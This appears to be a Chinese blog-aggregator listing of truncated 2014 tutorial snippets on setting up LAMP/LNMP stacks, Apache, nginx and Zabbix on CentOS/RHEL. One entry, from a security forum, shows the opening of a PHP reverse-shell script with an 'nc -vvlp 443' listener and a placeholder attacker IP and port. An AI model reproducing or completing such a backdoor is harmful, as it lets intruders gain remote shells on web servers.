1.
# yum install php
(依赖包顺便把httpd也下了)
# systemctl start httpd.service
# firewall-cmd --add-service=http
(防火墙对http服务解除封锁)
# firewall-cmd --permanent --add-service=http
(防火墙对http服务解除封锁...
分类:
Web程序 时间:
2014-11-23 17:35:51
阅读次数:
285
本脚本适用环境: 系统支持:CentOS/Redhat/Fedora 内存要求:≥256M 硬盘要求:2GB以上的剩余空间 服务器必须配置好软件源和可连接外网 必须具有系统 root 权限 建议使用干净系统全新安装 日期:2014年11月14日 关于本脚本: 支持 PHP 自带所有组件; 支持 My...
分类:
其他好文 时间:
2014-11-23 01:55:45
阅读次数:
307
安装环境:CENTOS6.5,nginx1.6.2,php-5.5.18,mysql5.5.38在安装软件之前安装epel源,就可以直接用yum安装libmcrypt,mhash,mcrypt等php扩展。安装nginx解决依赖关系,安装开发包组"DevelopmentTools"和"ServerPlatformDevelopment"。#tar–xfnginx-1.6...
分类:
系统相关 时间:
2014-11-22 19:03:24
阅读次数:
300
一服务端配置1.配置前先关闭iptables和SELINUX,避免安装过程中报错。[root@zabbix~]#serviceiptablesstop[root@zabbix~]#chkconfigiptablesoff[root@zabbix~]#getenforceDisabled[root@zabbix~]#setenforce02.安装LAMP环境[root@zabbix~]#yuminstall-yhttpdmysqlmysql-serverm..
分类:
其他好文 时间:
2014-11-22 19:00:08
阅读次数:
321
[root@localhosttools]#tarxvfpcre-8.12.tar.bz2
[root@localhosttools]#cdpcre-8.12
[root@localhostpcre-8.12]#./configure&&make&&makeinstall
[root@localhosttools]#useraddwww
[root@localhosttools]#yuminstallopenssl*-y
[root@localhosttools]#tarxvf..
分类:
其他好文 时间:
2014-11-21 16:32:43
阅读次数:
163
一、搭建LNMP平台案例需求:在ip地址192.168.1.10的服务器上搭建LNMP平台系统环境准备:配置固定Ip地址、关闭iptablesselinux配置yum源安装开发库软件包组和开发工具软件包组编译工具gccgcc-c++makeservicehttpdstop;chkconfig--level35httpdoffLNMP简介LNMP是网站运行平台LLin..
分类:
Web程序 时间:
2014-11-21 00:05:08
阅读次数:
234
适用环境:RHEL5.9/5.10x86_64——准备工作:[root@mail~]#yum-yinstallopenssl-devel[root@mail~]#yum-yinstallncurses-devellibtermcap-devel[root@mail~]#yum-yinstalllibxml2-devel[root@mail~]#yum-yremovehttpdmysql-servermysqlphp-mysql##############################..
分类:
Web程序 时间:
2014-11-21 00:03:07
阅读次数:
188
实验要求:手工编译安装Apache实验步骤:服务器(Redhat6)地址:192.168.4.2客户机(Win7)地址:192.168.4.5客户机设置LAMP文件夹共享,安装文件在LAMP文件夹中mount.cifs//192.168.4.5/LAMP/opt/lamp//将LAMP文件夹挂载到服务器中的lamp目录中smbclient-L192.168.4.5查看已..
分类:
Web程序 时间:
2014-11-20 23:54:14
阅读次数:
362
https://www.t00ls.net/viewthread.php?tid=28086
<?php
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者Spider
*nc-vvlp443
********************************/
$ip=‘xxx.xxx.xxx.xxx‘;
$port=‘443‘;
$file=‘/tmp/bc.pl‘;
header("content-T..
分类:
Web程序 时间:
2014-11-20 15:37:45
阅读次数:
511
Nginx的特点是处理静态很给力,Apache的特点是处理动态很稳定,两者结合起来便是LNMPA,nginx处理前端,apache处理后端,这样处理静态会很快,处理动态会很稳定。当我以为安装完成以后便万事大吉,不料更新网站的时候却出现504 Gateway time-out;起初还以为这是偶然,.....
分类:
其他好文 时间:
2014-11-19 23:40:46
阅读次数:
353